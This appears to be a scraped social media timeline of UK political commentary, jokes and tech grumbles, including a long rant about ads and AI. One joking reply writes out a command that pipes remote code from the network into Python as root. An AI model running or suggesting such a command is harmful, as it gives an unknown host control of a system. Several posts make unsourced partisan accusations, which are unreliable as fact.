Cassidy Macfarlane 🇺🇦🇵🇸

#rip Sean Connery. long live your best line.

@Kappa_Kappa Nope. Gulag.

@Kappa_Kappa like…. Not to to poop on your butterflies but…. A. That’s a doctored photo B. He had work done *for sure* C. He has literally most of the money, bet if he philanthropised fr he would be immeasurably more beautiful. Eye of the beholder I guess

@LondonLabour 🚨🚨 EXPOSED! WAR CRIMINAL 🚨🚨

Let's meet the Green candidates @ZackPolanski thinks are fit to represent London 🧵

anybody have any tips for this pal in kenya looking for hardware to practice on?

@JollyWangcore @Count_Flandy But at least we know Jolly’s breakfast looks like a dogs dinner. So there’s that.

@Count_Flandy Welcome to the algorithm. Effort is not rewarded and nothing makes sense.

Why is my best preforming short of the last 30 years just jolly walking up to a toilet, the skibidi head pops out, says skibidi, and jolly chuckles. It was a shitpost. One I didnt even edit. Now off to edit JollyCums.mp4 or some shit for next weeks shitpost.

@TracketPacer If you only tell it once, it doesn’t really think you are serious.

WHAT IS THE DIFFERENCE

@qikipedia My wife and I must be odd. We care for our children for 100% of every day 🤷

In 1961, mothers spent an average of 96 minutes a day on childcare. By the 2010s this had increased to 162 minutes a day.

This week, they came for Zack Polanski. Every interview hostile. Every presenter badgering. The Met Commissioner wrote him a scathing letter. Trevor Phillips piled in. Ed Balls, a Labour politician married to a Cabinet minister, sat across from the Green Party leader and acted like that was normal. They meant to destroy him. Instead, they destroyed their own credibility. Ed Balls is now facing questions about whether he should remain on air. So is the Met Commissioner. So is Trevor Phillips. Zack walked into every room, took every hit, and gave as good as he got. Maya Angelou said it best: "When someone shows you who they are, believe them the first time." The media, the establishment, the parties who feel threatened by what he represents, they showed us exactly who they are. And Zack looks braver for every punch they threw.

@LisaForteUK Compare everything with screwfix and toolstation prices. B&Q often a ripoff.

Okay I’m attempting DIY. What could go wrong!?! 😬

You stop the war crimes and we’ll stop the protests

@jdpoc @Cthulhu_Answers Same energy

Bravo #Brooklyn. This isn't AI, it's a real beer you can actually buy. Bravo.

@MapacheLoco8 @kmcnam1 Window? Where we’re going we don’t need sides. 😂

@thecmac @kmcnam1 Fans are pretty much against the window. Airflow?

@PolitlcsUK Israel is a terrorist state.

🚨 BREAKING: Keir Starmer's full address to the nation over the Golders Green terror attack "If you stand alongside people who say Globalize the Intifada, you are calling for terrorism against Jews" "I call on everyone decent in this country to open their eyes to Jewish pain"

@arstechnica All the devs keep running curl copy.fail/pw | TARGET_USER=root python3 | su Just for giggles…it’s causing mayhem 😂

Ubuntu infrastructure has been down for more than a day arstechnica.com/security/2026/…

Best way to prevent my code being meddled with by idiots is to use Greek letters as variables like β = 3.4. Scares them away. Also more readable to have a summation function named Σ(x) than sum(x).

@effthealgorithm @SwiftOnSecurity Enshittification. Cory Doctorow coined it first. Don’t like the word? Tough.

Search is full of ads and wrong answers. Every other email is an ad. Prime Video charges you and shows ads. Paramount? Ads. Peacock? YouTube? Hulu? Ads followed by more ads. Netflix full of ads. Meta and X, every other thing is an ad. Pinterest is nothing but ads. AI is in everything. AI finishes sentences incorrectly and won’t stop. AI reads your email and search history to target you with more ads. Every time you open an app or visit a site there’s an update making it worse. In a hurry? First, click here to agree to terms you don’t have time to read and must accept. You need an account to do that. Change your temporary password. Enter your 2FA code. Check your email and enter that code. Now use a passkey. Your password is too simple to remember. Change it. No, not like that. Now log on. Enter your 2FA code. Check your email for a code… Welcome back! We’ve updated our terms of service and privacy policy (you have none). Subscribe to the site. Subscribe to Netflix. Subscribe to toilet paper. Subscribe to these groceries. Pay a membership fee for the right to subscribe then tip your driver who delivers the subscriptions your membership lets you subscribe to. Time to work? We’ve got to update your laptop and will slow down everything you do until you agree to update. But first, click here to agree. Update installed — your laptop’s broken now. It doesn’t matter, since your boss just replaced you with AI. Go to your phone to complain on social media. Wait, your phone needs an update so we can add more AI. Click here. Oh sorry, your phone can’t handle this update. Now it’s useless. Go get the newest phone. Here’s a text from a friend, an email, a voice mail they left three days ago but you didn’t see until now because of sync problems with the cloud. It’s their GoFundMe. Their MLM. Their Patreon. Never mind, you didn’t respond to their text within 9 minutes and now you’re no longer friends. They blocked you. Make new friends. Download this app to find people in your area. In your neighborhood. On your street. Two doors down from you. Do you know this person yet, we think you’d get along. You need an account to use this app. That username is taken. Enter a password. Not that one, you used it on another site. You need to be connected to WiFi to download the app. Allow the app to connect to other devices on your network. Allow the app to access your contacts, know your precise location, store your credit card details. Oops, sorry, we got hacked now all that info is available on the web. There’s a class action suit. You can join. It’ll take a decade to get your $3.73 share of the ten billion settlement. We’ll send it via PayPal or deposit it to your bank, just tell us those details. Oh no, another hack. That info is circulating now, too. Here’s a spam call, a spam email, a spam text. Why are you angry? Why are you talking about getting rid of your phone? Why don’t you like AI, it lets us make all of this easier? Do you know how ridiculous that sounds? This is progress. You’ll be left behind. Do you want to be left behind? Do you???

Yesterday in Hastings, in the wake of antisemitic attacks in Golders Green, I faced Nazi salutes. Today the Prime Minister uses his office to attack the only Jewish party leader to score political points.